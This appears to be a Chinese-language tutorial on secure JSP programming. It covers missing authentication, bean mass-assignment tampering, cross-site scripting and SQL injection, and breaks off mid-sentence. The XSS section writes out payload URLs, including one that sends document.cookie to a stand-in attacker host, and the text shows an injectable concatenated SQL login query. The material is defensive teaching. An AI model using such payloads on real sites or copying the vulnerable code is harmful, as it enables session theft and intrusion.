JSP開發的安全編程實例詳細解析

Java Server Page（JSP）作為建立動態網頁的技術正在不斷升溫。JSP和ASP、PHP、工作機制不太一樣。一般說來，JSP頁面在執行時是編譯式，而不是解釋式的。首次調用JSP文件其實是執行一個編譯為Servlet的過程。

當浏覽器向服務器請求這一個JSP文件的時候，服務器將檢查自上次編譯後JSP文件是否有改變，如果沒有改變，就直接執行Servlet，而不用再重新編譯，這樣，效率便得到了明顯提高。

今天我將和大家一起從腳本編程的角度看JSP的安全，那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內了。寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒，從一開始就要培養安全編程的意識，不要犯不該犯的錯誤，避免可以避免的損失。

一、認證不嚴 低級失誤

user_manager.jsp是用戶管理的頁面，作者知道它的敏感性，加上了一把鎖：



 

if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("Us
erClass").equals("系統管理員"))) { 　response.sendRedirect("err.jsp?id=14"); 　return; }

如果要查看、修改某用戶的信息，就要用modifyuser_manager.jsp這個文件。管理員提交http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51

就是查看、修改ID為51的用戶的資料（管理員默認的用戶ID為51）。

但是，如此重要的文件竟缺乏認證，普通用戶（包括游客）也直接提交上述請求也可以對其一覽無余（密碼也是明文存儲、顯示的）。modifyuser_manage.jsp同樣是門戶大開，直到惡意用戶把數據更新的操作執行完畢，重定向到user_manager.jsp的時候，他才會看見那個姗姗來遲的顯示錯誤的頁面。

顯然，只鎖一扇門是遠遠不夠的，編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。

二、守好JavaBean的入口

JSP組件技術的核心是被稱為bean的java組件。在程序中可把邏輯控制、數據庫操作放在javabeans組件中，然後在JSP文件中調用它，這樣可增加程序的清晰度及程序的可重用性。和傳統的ASP或PHP頁面相比，JSP頁面是非常簡潔的，因為許多動態頁面處理過程可以封裝到JavaBean中。要改變JavaBean屬性，要用到“＜jsp:setProperty＞”標記。

下面的代碼是假想的某電子購物系統的源碼的一部分，這個文件是用來顯示用戶的購物框中的信息的，而checkout.jsp是用來結帳的。

 

＜jsp:useBean id="myBasket" class="BasketBean"＞ ＜jsp:setPropertyname="myBasket" property="*"/＞ ＜js
p:useBean＞ ＜html＞ ＜head＞＜title＞Your Basket＜/title＞＜/head＞ ＜body＞ ＜p＞ You have added th
e item ＜jsp::getProperty name="myBasket" property="newItem"/＞ to your basket. ＜br/＞ Your to
tal is $ ＜jsp::getProperty name="myBasket" property="balance"/＞ Proceed to ＜a href="checkou
t.jsp"＞checkout＜/a＞

注意到property="*"了嗎？這表明用戶在可見的JSP頁面中輸入的，或是直接通過Query String提交的全部變量的值，將存儲到匹配的bean屬性中。一般，用戶是這樣提交請求的：

 

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342

但是不守規矩的用戶呢？他們可能會提交：

 

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

這樣，balance=0的信息就被在存儲到了JavaBean中了。當他們這時點擊“chekout”結賬的時候，費用就全免了。這與PHP中全局變量導致的安全問題如出一轍。由此可見：“property="*"”一定要慎用！

三、長盛不衰的跨站腳本

跨站腳本（Cross Site Scripting）攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本，竊取浏覽此頁面的用戶的隱私，改變用戶的設置，破壞用戶的數據。

跨站腳本攻擊在多數情況下不會對服務器和WEB程序的運行造成影響，但對客戶端的安全構成嚴重的威脅。舉個最簡單的例子。當我們提交：

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser＜;script＞alert(document.cookie)＜/script＞

便能彈出包含自己cookie信息的對話框。而提交：

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser＜;script＞document.location='http://w
ww.163.com'＜/script＞

就能重定向到網易。

由於在返回“name”變量的值給客戶端時，腳本沒有進行任何編碼或過濾惡意代碼，當用戶訪問嵌入惡意“name”變量數據鏈接時，會導致腳本代碼在用戶浏覽器上執行，可能導致用戶隱私洩露等後果。比如下面的鏈接：

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser＜;script＞document.location='http://ww
w.hackersite.com/xxx.xxx?'+document.cookie＜/script＞

xxx.xxx用於收集後邊跟的參數，而這裡參數指定的是document.cookie，也就是訪問此鏈接的用戶的cookie。在ASP世界中，很多人已經把偷cookie的技術練得爐火純青了。在JSP裡，讀取cookie也不是難事。當然，跨站腳本從來就不會局限於偷cookie這一項功能，相信大家都有一定了解，這裡就不展開了。

對所有動態頁面的輸入和輸出都應進行編碼，可以在很大程度上避免跨站腳本的攻擊。遺憾的是，對所有不可信數據編碼是資源密集型的工作，會對 Web 服務器產生性能方面的影響。常用的手段還是進行輸入數據的過濾，比如下面的代碼就把危險的字符進行替換：

 

＜% String message = request.getParameter("message"); message = message.replace ('＜','_'); messa
ge = message.replace ('＞','_'); message = message.replace ('"','_'); message = message.replace (''','_'); me
ssage = message.replace ('%','_'); message = message.replace (';','_'); message = message.repla
ce ('(','_'); message = message.replace (')','_'); message = message.replace ('&','_'); message = me
ssage.replace ('+','_'); %＞

更積極的方式是利用正則表達式只允許輸入指定的字符：

 

public boolean isValidInput(String str) { 　if(str.matches("[a-z0-9]+")) return true; 　else return false; }

四、時刻牢記SQL注入

一般的編程書籍在教初學者的時候都不注意讓他們從入門時就培養安全編程的習慣。著名的《JSP編程思想與實踐》就是這樣向初學者示范編寫帶數據庫的登錄系統的（數據庫為MySQL

Statement stmt = conn.createStatement(); String checkUser = "select * from login where usernam
e ='" + userName + "' and userpassword = '" + userPassword + "'"; ResultSet rs = stmt.executeQ
uery(checkUser); if(rs.next()) 　response.sendRedirect("SuccessLogin.jsp"); else 　response.sendR
edirect("FailureLogin.jsp");

這樣使得盡信書的人長期使用這樣先天“帶